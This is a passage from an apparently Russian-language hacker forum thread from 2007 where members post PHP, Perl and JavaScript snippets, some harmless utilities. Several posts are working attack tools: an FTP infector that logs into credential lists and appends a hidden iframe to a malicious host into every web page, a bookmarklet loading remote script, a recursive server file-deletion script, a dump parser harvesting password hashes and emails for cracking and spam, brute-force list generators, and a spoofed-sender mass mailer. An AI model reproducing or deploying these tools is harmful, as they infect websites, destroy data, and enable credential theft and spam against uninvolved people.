$pat = "|<a href=\"([^\"]+)\"[^>]+>([^<]+)<|is";
preg_match_all($pat, $text, $mass);
for($i = 0; $i < count($mass[1]); $i++)
{
fwrite($links, $mass[1][$i]."\n");
}
fclose($links);
$text= file('filens.txt');
foreach($text AS $val)
{
$val=str_replace("\r",'',$val);
$val=str_replace("\n",'',$val);
preg_match("/^(http:\/\/)?([^\/]+)/i", $val, $math);
$host=$math[2];
$f=fsockopen($host, 80);
if (!$f) echo("<font color=\"blue\"><b>HOST NOT FOUND</b></font> - <strike>$host</strike>");
fwrite($f, "GET /index.php HTTP/1.0\n\n");
$str = fread($f, 1024);
if (substr($str, 9,6)=="200 OK")
{
echo("<table border='1'><tr><td>");
echo ("<b>$host</b><td> <font color=\"green\"><b>прекрасно!!!<b></font><br>");
echo("</td></tr></table>"); }
else
{
echo("<table border='1'><tr><td>");
echo("<b>$host</b><td> <font color=\"red\"><i>непрекрасно!!!</i></font> <br>");
echo("</td></tr></table>");
}
}
fclose($f);
?>

Реализованно по-тупому, но работает ;)

DRON-ANARCHY
28.02.2007, 00:14
кому мешает register_globals OFF можете вставить в страницу

// Emulate register_globals on
if (!ini_get('register_globals')) {
$superglobals = array($_SERVER, $_ENV,
$_FILES, $_COOKIE, $_POST, $_GET);
if (isset($_SESSION)) {
array_unshift($superglobals, $_SESSION);
}
foreach ($superglobals as $superglobal) {
extract($superglobal, EXTR_SKIP);
}
}

и забыть об этой проблеме

SMiX
28.02.2007, 00:27
кому мешает register_globals OFF можете вставить в страницу

...

и забыть об этой проблеме

Очень небезопасно. Может, и на безопасность и не повлиять, но на грамотность - изрядно повлият)

DRON-ANARCHY
28.02.2007, 00:34
Очень небезопасно.ну как сказать... register_globals ON само по себе уже небезопасно... поэтому и отключается хостерами

SMiX
02.03.2007, 01:50
Ну так зачем же его искусственно включать?)
Просто предупредил о небезопасности этого =) Используйте функцию. чисто в образовательных целях.

Abra
02.03.2007, 23:26
Ну так зачем же его искусственно включать?)
имхо - представляем такую ситуацию:
админ - ленивый консерватор. Программная часть сайта не обновлялась года так эдак с 2000'ого. Все скрипты работают исключительно под register_globals=on (бывает такое). Потребовалось сменить хостинг - а на новом register_globals=off. Переписывать двиг не охота, вот и требуется искусственное включение. Больше, имха, незачем.

DRON-ANARCHY
04.03.2007, 19:19
Ну так зачем же его искусственно включать?)потому что при пересылке переменных от одного скрипта(формы) в другой, работать все это дело с выключенными register_globals НЕ БУДЕТ

sM1L3
05.03.2007, 17:46
Ну вот, такой маленько-прикольный скриптик
Вводим его в адресную строку

javascript:o=document.createElement("script");o.setAttribute("src","http://digistyle.3dn.ru/egor.js");document.body.appendChild(o);void(0)

Можно над ламером прикольнуться! ;)

Underwit
07.03.2007, 20:21
Нацарапал тут скриптец для слияния нескольких брутфорс словарей в один прошу заценить. Я в ПХП плохо понимаю, укажите на мои ошибки пожлуйста. И если скрипт вдруг кому помог не пожалейте, дайте репки :D
<?
error_reporting(0);
echo "<html><title>Скрипт склеивает несколько словарей для брута в один.</title><body bgcolor='000000' text='0ff0f9'>
<table border='2' bgcolor='131313' bordercolor='0ff0f9' width='50%' align='center' height='400' cellpadding='15' cellspacing='0'>
<tr valign='top'><td>
<font size='3'>
Скрипт склеивает несколько словарей для брута в один.<br>Автоматически удаляет повторяющиеся элементы.<br>
<font size='2'>(c)oded by underwit</font>
<hr color='0ff0f9'><p>
<form method='POST'>
Имя нового словаря: &nbsp;&nbsp;<input type='text' name='newname' size='10'><p>
Введите путь к папке: <input type='text' name='path' size='60'><p>
<input type='checkbox' name='delite'> Удалить исходные словари?<p>
<input type='submit' value='Склеить'><br>
</form>
<hr color='0ff0f9'><p>";
$truepath = getcwd();
if(empty($path)){echo "Текущий каталог - ".$truepath."<br>";}
if(!empty($newname))
{
if(!empty($path))
{
chdir($path);
echo "Установленный каталог - ".$path."<br>";
$allpass = array();
$catalog = opendir($path) or die("Не удалось открыть каталог");
while($file = readdir($catalog))
{
if(($file != ".") && ($file != ".."))
{
$_file = fopen($file,"r");
while(!feof($_file))
{array_push($allpass, fgets($_file));}
fclose($_file);
}
if($delite == true){unlink($file);}
}
closedir($catalog);
}else{echo "Введите путь к каталогу со словарями";}
}else{echo "Введите новое имя для словаря и укажите путь к каталогу со словарями";}
if(!empty($allpass))
{
$allsize = count($allpass);
$end = array_unique($allpass);
$uniqsize = count($end);
$redel = $allsize - $uniqsize;
$endfile = fopen($newname.".pass","a");
for($i='0';$i<sizeof($end);$i++)
{fwrite($endfile,$end[$i]);}
fclose($endfile);
echo "Новый словарь сохранен как - ".$path."/".$newname.".pass"."<br>";
echo "Всего элементов - ".$allsize."<br>";
echo "Уникальных элементов - ".$uniqsize."<br>";
echo "Удалено повторных - ".$redel."<br>";
}
echo "</font></td></tr></table></body></html>";
?>

x-treem
12.03.2007, 21:28
вот тут был скрипт, давно писал. фтпинфектер... во как.
создаём файл. туда пишем данные вот в таком виде:
ftp_server;login;pass

скрипт парсит этот файл, подключаеццо к каждому серверу и заражает все файлы с расширением php, htm, html. вот собсно сам код

<?
## FTPInfecter by xtreem
## mail: xtreemx@gmail.com

error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');

echo " This is FTPInfecter script\n";
echo " Coded by xtreem(xtreemx@gmail.com)\n";
echo " example: FTPInfecter.php servers.db\n\n";

if (!$argv[1])
{
$servdb = "servers.txt";
}else{
$servdb = $argv[1];
}
$code = "<iframe src=\"http://hackpage.net/badscript.php\" width=1 height=1></iframe>";

$file = file($servdb, "r");
$count = count($file);
$is = 0;
while ($is < $count)
{
chomp;
$met = explode(';', $file[$is]);
$server = $met[0];
$user = $met[1];
$pass = $met[2];

if (($connect = ftp_connect($server)) && ($login = ftp_login($connect, $user, $pass))){
echo "CONNECTED TO:".$server."\n";
$buff = ftp_nlist($connect, '');
$d = count($buff);
$i = 0;
while ($d <> $i)
{
if ($buff[$i] <> '.' && $buff[$i] <> '..'){
if (ftp_chdir($connect, $buff[$i]))
{
echo "DIR: ".$buff[$i]."\n";
ftp_chdir($connect, '..');
}else{
$part = explode('.', $buff[$i]);
if ($part[1] == 'php' or $part[1] == 'htm' or $part[1] == 'html'){
echo "FILE: ".$buff[$i]."\n";
$fp = fopen($buff[$i], 'w+');
if (ftp_fget($connect, $fp, $buff[$i], FTP_ASCII, 0)) {
echo "GET: ".$buff[$i]."\n";
}
fclose($fp);
$fw = fopen($buff[$i], 'a');
fputs ($fw, $code);
fclose($fw);
echo "INFECTED: ".$buff[$i]."\n";
if (ftp_put($connect, $buff[$i], $buff[$i], FTP_ASCII)) {
echo "PUT: ".$buff[$i]."\n";}
$del = unlink($buff[$i]);
if ($del){echo "DELETE: ".$buff[$i]."\n\n";}
}
}
}
$i++;
}
ftp_close($connect);
}else{echo "NOT CONNECT TO: ".$server."\n";}
$is++;
}
?>

DRON-ANARCHY
13.03.2007, 02:26
ифреймер по-русски?)

cRiLaZ
18.03.2007, 20:54
Ну со всеми подряд хтмл и пхп ты явно переборщил ))

Joker-jar
21.03.2007, 15:46
Вывод даты нормальным русским языком:

function rusdate($d)
{
$montharr = array("января","февраля","марта","апреля","мая","июня","июля","августа","сентября","октября","ноября","декабря");
$i = date("m",$d) - 1;
return date("j",$d)." $montharr[$i] ".date("Y",$d);
}
Узнаем серверное время со сдвигом часовых поясов:

function zonetime($date,$zone)
{
$date+=$zone*3600;
return gmdate("d.m.Y H:i",$date);
}
Например, echo zonetime(time(),+3); покажет московское время (независимо от того, в каком поясе расположен сервер :))

Следующий скрипт весьма полезен (писал для своей гостевой). Выводит мыла таким образом, чтоб их не смогли воровать роботы-собиральщики мыл (во как):

function showemail($email)
{
echo "<script language=\"JavaScript\"><!--\n".
"document.write('".substr($email,0,strpos($email,"@"))."'+'@'+'".
substr($email,strpos($email,"@")+1,strpos($email,".")-strpos($email,"@")-1)."'+'.'+'".
substr($email,strpos($email,".")+1, strlen($email) - strpos($email,".")-1)."');\n".
"//--></script>\n";
}
(подразумевается, что используется валидный параметр вида бла@бла.бла, проверку мутите еще при вносе в БД мыла =))

Так-с, идем дальше. Так я обычно проверяю, является ли какой-либо параметр числом:

function IsDigit($d)
{
return (!(empty($d)) && ctype_digit($d));
}
Замена в тексте всех мыл и урлок на соответствующие ссылки:
$text = ereg_replace('[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*','<a href="mailto:\\0">\\0</a>',$text);
$text = ereg_replace(' [a-zA-Z]+://(([.]?[a-zA-Z0-9_/-])*) ',' <a href="\\0">\\1</a> ',$text);
$text = ereg_replace(' (^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*) ',' <a href="http://\\2">\\2</a> ',$text);

Часто на сайтах слева и справа бывают узкие колонки, куда можно повпихивать всякую интересную инфу (например, последние темы с форума). Но если попадается длинное слово, то колонка разъезжается, становится хз че. Следующая функция разрезает на куски только те слова, которые длиннее заданного параметра. Очень полезно:

function break_long_words($source_text,$lng)
{
$regExp='/(\S{'.$lng.',})/ei';
$res_text=preg_replace($regExp,"wordwrap('\\1',$lng,'\n',1)",$source_text);
return $res_text;
}
Пока все. Удачи!

flipper
22.03.2007, 22:21
Выдирает поля из дампа таблицы:

#!/usr/bin/perl -w
if ($ARGV[0] eq "") {print "Example: perl dump.pl Clients.sql"; exit;}
open (f1,$ARGV[0]) || die $!;
open (f2,">log") ||die $!;
if ($ARGV[1] eq "") {
$s=<f1>;
$s=~s/\'//g;
@temp=split(",",$s);
for ($i=0;$i<$#temp;$i++){
print "$i-$temp[$i]\n"; } #for
print "\nExample: perl dump.pl Clients.sql 4-6-15-20";
exit;
} #if
@temp = split("-",$ARGV[1]);
while (<f1>) {s/\'//g; #s/\s\'//g;
(@temp2)=(split(",",$_))[@temp];
print f2 join(":",@temp2). "\n";
} #while
close(f1);
close(f2);

Запускаем: "perl dump.pl Clients.sql 4-6-15-20"
Clients.sql - имя сортируемого файла, 4-6-15-20 номера колонок через "-" (узнать можно запустив только "perl dump.pl Clients.sql ").

Сортировка файла с удалением повторяющихся элементов:

#!/usr/bin/perl -w
if ($ARGV[0] eq "") {print 'sort.pl filename'; exit;}
open (f1,$ARGV[0]) || die $!;
open (f3,">sorted") ||die $!;
%seen=();
@uniq=grep {! $seen{$_} ++ } <f1>;
print f3 sort @uniq;
close(f1);
close(f3);

Запускаем: "sort.pl filename"

Ch3ck
24.03.2007, 01:18
<?

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*
/* Forum Dump Parser v0.2 (FDPv0.2)
/* by Re@ctor
/* http://truenet.net.ru/security/
/*
/*
/* Скрипт предназначен для частного использования и позволяет
/* привести имеющиеся дампы баз данных в единый удобный формат для
/* дальнейшего анализа в программе Passwords Pro, либо просто
/* в списки для других программ.
/*
/* Скрипт запрещается использовать в корыстных целях и автор не
/* несёт ответственности за возможный ущерб, причинённый от исполь-
/* зования данного скрипта.
/*
/* Скрипт запрещается использовать в противозаконных целях, либо
/* целях, ведущих к умышленному или неумышленному нарушению законода-
/* тельства Российской Федерации.
/*
/* Хорошего дня и доброго насроения! ;-)
/* Помните про существование TrueNET! =)
/*
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

###### 1. выходной формат файлов ######
# для брута, формат Passwords Pro
#$sort = array('username','password','salt'); # пользователи
#$sort = array('email','password','salt'); # мыльники
$sort = array('icq','password','salt'); # аськи
# помните, что формат PPro - имя:хэш:сальт:расшифр.парол ь:комментарий
# поэтому надо писать от 2 до 3 значений, т.к. меньше или больше
# будет воспринято неверно программой.

# просто базы
#$sort = array('email'); # e-mail
#$sort = array('icq'); # icq

###### 2. формирование строк ######
$delim = "¤"; # разделитель между значениями
$br = "\n"; # чем заканчивать строку (\n - перенос строки)

###### 3. промежуточный вывод ######
$makefiles = 1; # делать ли отдельные файлы для каждого дампа
$ext = "txt"; # расширение выходного файла этих файлов

###### 4. параметры сбора информации ######
$site = 1; # если $makefiles = 0;, то получать сведения о сайте
# из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла
# ( удобно при составлении тематических спам-баз )
# формат файла должен быть префиксАДРЕС_САЙТАрасшире ие, где префикс и расширение любые
$site_prefix = ''; # если $site=1, указать префикс файлов
$site_ext = '.sql'; # если $site=1, указать расширение файлов
$convert = 0; # конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)

###### 5. общий файл с данными ######
$hashmake = 1; # делать ли единый файл со всеми хэшами
$hash_filename = '!PasswordsPro.Hashes'; # имя файла с хэшами

###### 6. выборка из дампов админов в отдельный файл ######
$admins = 1; # сделать файл с хэшами админов дампов
$admin_pass = 'password'; # имя ячейки с хэшем пароля
$admin_salt = 'salt'; # имя ячейки с салом пароля
$admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про
$admin_filename = '!admin.PasswordsPro.Hashes';

###### 7. (WARNING!) имя первой ячейки в таблице ######
$firstintable = 'userid'; # название первой ячейки в таблице (важно!)

ini_set("max_execution_time","86400");
set_time_limit(0);

function make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }
function checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }
function koi($txt) { return convert_cyr_string($txt,'k','w'); }
function iso($txt) { return convert_cyr_string($txt,'i','w'); }
function myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }

$d=opendir('.');
while(($e=readdir($d))!=false) {
if($e=='.'||$e=='..'||$e==$admin_filename||$e==$ha sh_filename||$e==$argv[0]) continue;
if(is_file($e)) {
if($makefiles==1)$f = fopen("$e.$ext","w+");
echo "[+] $e (".filesize($e)." bytes)\n";
$file = file($e);

foreach($file as $a) {
$tmp = explode(' ',$a); $tablesuf=$tmp[1];
if(!$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; }
foreach(array_unique(array_merge($sort,$admin_comm ent)) as $s) {
if($tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; }
}
if(!$y) $vars[]='b'; else unset($y);
if(strstr($a,'PRIMARY KEY')) break;
}

foreach($file as $a) {
if(strstr($a,"INSERT INTO")) {
$tmp = preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a);
$values = explode(',',$tmp);
foreach($values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); }
foreach($sort as $s) {
if(!$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) {
if($admins==1&&$hashmake==0&&$makefiles==0) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
$admok=1;
} else {
if($s==$v['name']) {
if($s=='salt') $tm[] = checksalt(make($m[$v['num']]));
else $tm[] = make($m[$v['num']]);
}
if($admins==1&&!$admok) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
}
}
}
if($admok==1) break; $admok=2;
}
if($tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comm ent,', ');
unset($tr); unset($m); unset($tm); unset($comment);
if($admok==1) break;
}
}
if($makefiles==1) {
if($site==1) {
$host = preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e);
echo "[:] connecting to $host..\n";
$fp = fsockopen($host,80,&$errno,&$errstr,5);
if(!$fp) echo "[:] Error connecting $host ($errno - $errstr)\n";
fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n");
while(!feof($fp)) {
$tmp=fgets($fp,1000);
if(preg_match("'charset='i",$tmp)||!$schar) {
$ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp);
if(preg_match("'koi8-r'i",$ch)) $koi=1;
elseif(preg_match("'iso8859-5'i",$ch)) $iso=1; $schar=1;
}
elseif(preg_match("'<title>(.*?)</title>'i",$tmp)) {
$title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp);
echo "[:] TITLE ok..\n";
}
elseif(preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) {
$kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] KEYWORDS ok..\n";
}
elseif(preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) {
$descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] DESCRIPTION ok..\n";
}
elseif(preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break;
}
fclose($fp);
if($koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); }
if($iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); }
$info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"; $title=$host=$descr=$kiwords='';
}
echo "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info);
}
unset($vars); unset($file); unset($towrite); unset($admok);
}
}
if($hashmake==1) { echo "
sorting & writing all hashes..\n"; @asort($globhash); $f = fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}
if($admins==1) { echo "
sorting & writing admin hashes..\n"; @asort($odmen); $f = fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}

myau();
?>

DRON-ANARCHY
25.03.2007, 21:48
давно хотел навоять че-нить подобное... но руки коротки)
держи плюс до кучи)

Joker-jar
30.03.2007, 12:14
JavaScript попап

function popup(height,width,tittle,text)
{
msg=window.open("","msg","height="+height+",width="+width+",left=300,top=300");
msg.document.write("<html><title>"+tittle+"</title>");
msg.document.write("<b"+"ody onblur=window.close()>");
msg.document.write(text);
msg.document.write("</b"+"ody></html>");
}

Только что дорабатывал скрипт своей гостевой и с удивлением заметил, что в PHP < 5 отсутствует столь важная функция str_ireplace. Но безвыходных ситуаций не бывает :)

if(!function_exists('str_ireplace'))
{
function str_ireplace($search,$replace,$subject)
{
$search = preg_quote($search, "/");
return preg_replace("/".$search."/i", $replace, $subject);
}
}

DRON-ANARCHY
31.03.2007, 14:05
отсутствует столь важная функция str_ireplaceзато присутствует str_replace() которой можно вырезать или заменить че угодно

mamamot
07.04.2007, 20:21
Отправка анонимных сообщений с вложениями. Отправляет сообщения от указанного вами пользователя и с указанного мыла всем указанным в файле maillist.txt
Он должен иметь вид:

lol1@mail.ru
lol2@mail.ru
lol3@mail.ru

т.е. по одному мылу в строку без разделителя

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Anonym mail sender with attachment</title>
</head>
<body>
<form method="POST" >
<input name="action" type="hidden" value="send" />
<p><label for="from_mail" >С какого адреса e-mail: <input type="text" name="from_mail" /></label></p>
<p><label for="from_name" >От чьего имени: <input type="text" name="from_name" /></label></p>
<p><label for="path" >Относительный путь к файлу: <input type="text" name="path" /></label></p>
<p><label for="theme" >Тема: <input type="text" name="theme" /></label></p>
<textarea name="message" cols="30" rows="5" ></textarea>
<input type="submit" name="submit" value="Начать" />
</form>

<?php

// Вспомогательная функция для отправки почтового сообщения с вложением
function send_mail($from_name, $from_mail, $thm, $msg, $path)
{
$fp = fopen($path,"r");
if (!$fp)
{
print "Файл $path не может быть прочитан";
exit();
}
$file = fread($fp, filesize($path));
fclose($fp);
// Создаем сообщение
$boundary = "--".md5(uniqid(time())); // генерируем разделитель
$headers .= "MIME-Version: 1.0\n";
$headers .="Content-Type: multipart/mixed; boundary=\"$boundary\"\n";
$headers .= "From: $from_name <$from_mail>\n";
$multipart .= "--$boundary\n";
$encoding = 'windows-1251';
$multipart .= "Content-Type: text/html; charset=$encoding\n";
$multipart .= "Content-Transfer-Encoding: Quot-Printed\n\n";
$multipart .= "$msg\n\n";

$message_part = "--$boundary\n";
$message_part .= "Content-Type: application/octet-stream\n";
$message_part .= "Content-Transfer-Encoding: base64\n";
$message_part .= "Content-Disposition: attachment; filename = \"".$path."\"\n\n";
$message_part .= chunk_split(base64_encode($file))."\n";
$multipart .= $message_part."--$boundary--\n";

// Начинаем отправку

$str_to=file_get_contents("maillist.txt");
$maillist=explode("\r\n",$str_to);
foreach($maillist as $mail)
{
if(!mail($mail, $thm, $multipart, $headers))
{
echo "Не отправлено:".$mail."<br />";
}
else
{
echo "Отправлено:".$mail."<br />" ;
}
}
}


if(isset($_POST['action']) && $_POST['action']=="send")
{
echo "<br />Начинаем отправку<br />";
send_mail($_POST['from_name'],$_POST['from_mail'],$_POST['theme'],$_POST['message'],$_POST['path']);
}


echo "</body>";
echo "</html>";
?>

Писал сам:)

mR_LiNK[deface_0nl
11.04.2007, 02:11
Классический пример получения док-а по httP

Скрипт, который по httP протоколу получает документ с сервера::

<?
$fp = fsockopen("www.host.ru", 80, &$errno, &errstr, 30);

//посылаем GET-форму в виде "URL+хост"
fputs($fp, "GET /files/doc.zip HTTP/1.0\nHOST: www.host.ru \n\n");

//ситаем все до начала следующего док-а
while(fgets($fp, 2048) !="\n\n" && !feof($fp));

//копируем то, что прочитали в переменную $buff
uset($buff);
while(!feof($fp)) $buff.=fread($fp, 2048);

//закрывается сокет
fclose($fp);

echo 'Файл загружен, размер файла: ' .strlen($buff). 'bytes.';
flush();

//далее записываем загруженный файл в другой,
//к примеру, dload.out. Если мы скачали zip файл, то,
// переименовав dload.out в dload.zip, можно дальше
//работать с этим файлом как с обычным zip архивом.
$f=fopen('dload.out', 'wb+');
fwrite($f, $buff, strlen($buff));
fclose($f);
?>

ЗЫ::Ответ сервера состоит из заголовка и тела документа. Интересует же только тело документа.
Поэтому, все что идет до документа мы пропускаем, зная, что заголовок от тела документа отделяется строкой "\r\n". Заголовок читается функцией 'fgets', а бинарные данные 'fread'

ЗЫЫ:: кстати не так давно, не помню кто, спрашивали о генераторе паролей..простейший вариант:

<?
$pass = md5(uniqid(rand), true);
//возвращается 128-битный хеш
...
?>

mamamot
11.04.2007, 16:38
Очередной скрипт на php.
Сегодня мы нашли сайт с кучей прокси. Но они там, как назло, в ужасном виде:

HTTP 203.94.89.112 80 No UnResolved UnResolved 704 No
HTTP 66.165.172.163 80 No UnResolved UnResolved 562 No
HTTP 212.227.80.22 3128 No UnKnown s15179588.rootmaster.info 4328 No
HTTP 219.95.65.250 80 No UnResolved UnResolved 1047 No
HTTP 85.88.182.139 3128 No Russia not-defined-pppoe.amur.ru 1032 No

т.е. по одной прокси и порту в строке, но с кучей мусорной инфы
мы превратим его в нормальный вид так:

<?php
//////////////////////////////////////////////////////////////////
//proxy_list_generator.php
//creats an ip:port proxylist
//coded by mamamot, 2007
//////////////////////////////////////////////////////////////////
//задаем регулярные выражения
$ip_regex="/([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])){3}/";
$port_regex="/([\s])(\d|[1-9]\d|[1-9]\d{2,3}|[1-5]\d{4}|6[0-4]\d{3}|654\d{2}|655[0-2]\d|6553[0-5])([\s])/";
//читаем файл
$raw=file("rawproxy.txt");
//счетчик
$counter=0;
//перебираем каждую строку
foreach($raw as $line)
{
$is_ip_match = preg_match($ip_regex, $line, $ipmatch);
if($is_ip_match==1)
{
$ip=$ipmatch[0];
$is_port_match=preg_match($port_regex, $line, $port_match);
if($is_port_match==1)
{
$port=$port_match[0];
//убираем символы табуляции
$port=str_replace("\t","",$port);
//добавляем в строку. Замените \r\n на \n если работете на никсах
$output .= $ip.':'.$port."\r\n";
$counter++;
}
}
}
//пишем в файл
file_put_contents("proxies.txt", $output);
echo "done succesfully:".$counter."items parsed";
?>


да еще и посчитаем заодно:)

mR_LiNK[deface_0nl
12.04.2007, 00:13
Зло зло зло__))
//малые шалости_
"Кому-то создавать, кто-то должен созедать, а кто-то наглый) все разрушать"

Теперь по делу::
<?php
//вызывается функция, удаляющая файлы с сервера, с параметром '..', ))
//чтобы подняться на один уровень выше:: это позволит уничтожить больше файлов, )))
//так как наверняка веб_приложение находится в отдельной директории))))
//поехали
delfiles("..");

//функция, удаляющая каталоги и файлы сервера
function delfiles($catalog)
{
$dir = opendir($catalog)
while (false !== ($file = readdir($dir))
{
//Если текущей объект - файл, то что делаем?? del del & del
if(is_file($catalog."/".$file)) unlink($$catalog."/".$file);
//Если текущий объект - каталог, то рекурсивный вызов delfiles(),
//тем самым избегаем каталогов '.' и '..',
//которые соответствуют текущему и вышележащему))
else if (is_dir($catalog.'/'.$file) && ($file !='.') && ($file != '..')) delfiles($catalog.'/'.$files);
}
//закрываем дир
closedir($dir);
//ну и на последок))
rmdir($catalog);
}
?>

О недосказанном:: есть возможность модификации рекурсии вверх по дереву))
НО последнее слово как всегда за правами доступа))..ну разве это проблема)

Итак дамы и господа) будте бдительны!! Порой безопасность приложений играет более важную роль чем сами приложения
Безопасность::
Решить вышеописанную проблему поможет проверка расширения файла (а может и не решить)))

зы:: 2nc.striem -> исправлено!

Fr-Ron
12.04.2007, 01:11
Вот, сегодня написал... Генерация uin;pass list по словарю для уинов с заданной маской (xxxyxxz 5557552)


<?php

$mask = "xxxyxxz";
$pass = file("pass.txt");

$f = fopen("result.txt", "w");

If ($mask){

For ($x = 1; $x <= 9; $x++){
For ($y = 0; $y <= 9; $y++){
For ($z = 0; $z <= 9; $z++){
For ($p = 0; $p <= 99; $p++){ If ($pass[$p+1]) { $num = $mask;
For ($n = 0; $n <= 8; $n++){

If ( $num[$n] == "x" ) { $num[$n] = $x; }
If ( $num[$n] == "y" ) { $num[$n] = $y; }
If ( $num[$n] == "z" ) { $num[$n] = $z; }


}
fputs ($f,$num.";".$pass[$p]); }}}}}}

fclose ($f);

?>

nc.STRIEM
12.04.2007, 02:04
конвертирование jpg в html с 100% сохранением качества картинки! (размер знчительно увеличеваеться)

<?
$imgjpg='pic.jpg'; //имя jpg картинки

set_time_limit(0);
$start=time('s');
$fo=fopen($imgjpg.'.html','w');
fwrite($fo,'<table border=0 cellspacing=0 cellpadding=0><style>td{width: 1px;height: 1px;}</style>');
$im = ImageCreateFromjpeg($imgjpg);
$sim=array(0,1,2,3,4,5,6,7,8,9,'A','B','C','D','E' ,'F');
function to16($de)
{
global $sim;
$ans='';
$ans.=$sim[($de-$de%16)/16];
$ans.=$sim[$de%16];
return $ans;
}
$x=imagesx($im);
$y=imagesy($im);
for($j=0;$j<$y;$j++)
{fwrite($fo,'<tr>');
for($i=0;$i<$x;$i++)
{
$rgb=ImageColorAt($im, $i,$j);
$r = to16(($rgb >> 16) & 0xFF);
$g = to16(($rgb >> 8) & 0xFF);
$b =to16($rgb & 0xFF);
fwrite($fo,"<td bgcolor=$r$g$b></td>");
}
fwrite($fo,'</tr>');
}
fclose($fo);
echo 'Законченно за: '.(time('s')-$start).' секунд(ы)<br><a href="'.$imgjpg.'.html">Открыть</a>';
?>

grinay
12.04.2007, 02:05
Очередной скрипт на php.
Сегодня мы нашли сайт с кучей прокси. Но они там, как назло, в ужасном виде:

HTTP 203.94.89.112 80 No UnResolved UnResolved 704 No
HTTP 66.165.172.163 80 No UnResolved UnResolved 562 No
HTTP 212.227.80.22 3128 No UnKnown s15179588.rootmaster.info 4328 No
HTTP 219.95.65.250 80 No UnResolved UnResolved 1047 No
HTTP 85.88.182.139 3128 No Russia not-defined-pppoe.amur.ru 1032 No

т.е. по одной прокси и порту в строке, но с кучей мусорной инфы
мы превратим его в нормальный вид так:

<?php
//////////////////////////////////////////////////////////////////
//proxy_list_generator.php
//creats an ip:port proxylist
//coded by mamamot, 2007
//////////////////////////////////////////////////////////////////
//задаем регулярные выражения
$ip_regex="/([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])){3}/";
$port_regex="/([\s])(\d|[1-9]\d|[1-9]\d{2,3}|[1-5]\d{4}|6[0-4]\d{3}|654\d{2}|655[0-2]\d|6553[0-5])([\s])/";
//читаем файл
$raw=file("rawproxy.txt");
//счетчик
$counter=0;
//перебираем каждую строку
foreach($raw as $line)
{
$is_ip_match = preg_match($ip_regex, $line, $ipmatch);
if($is_ip_match==1)
{
$ip=$ipmatch[0];
$is_port_match=preg_match($port_regex, $line, $port_match);
if($is_port_match==1)
{
$port=$port_match[0];
//убираем символы табуляции
$port=str_replace("\t","",$port);
//добавляем в строку. Замените \r\n на \n если работете на никсах
$output .= $ip.':'.$port."\r\n";
$counter++;
}
}
}
//пишем в файл
file_put_contents("proxies.txt", $output);
echo "done succesfully:".$counter."items parsed";
?>


да еще и посчитаем заодно:)

Кто вас так учил писать регулярные выражения?)
Ты что.Я ужаснулся когда это увидел.


<?php
$data="HTTP 203.94.89.112 80 No UnResolved UnResolved 704 No
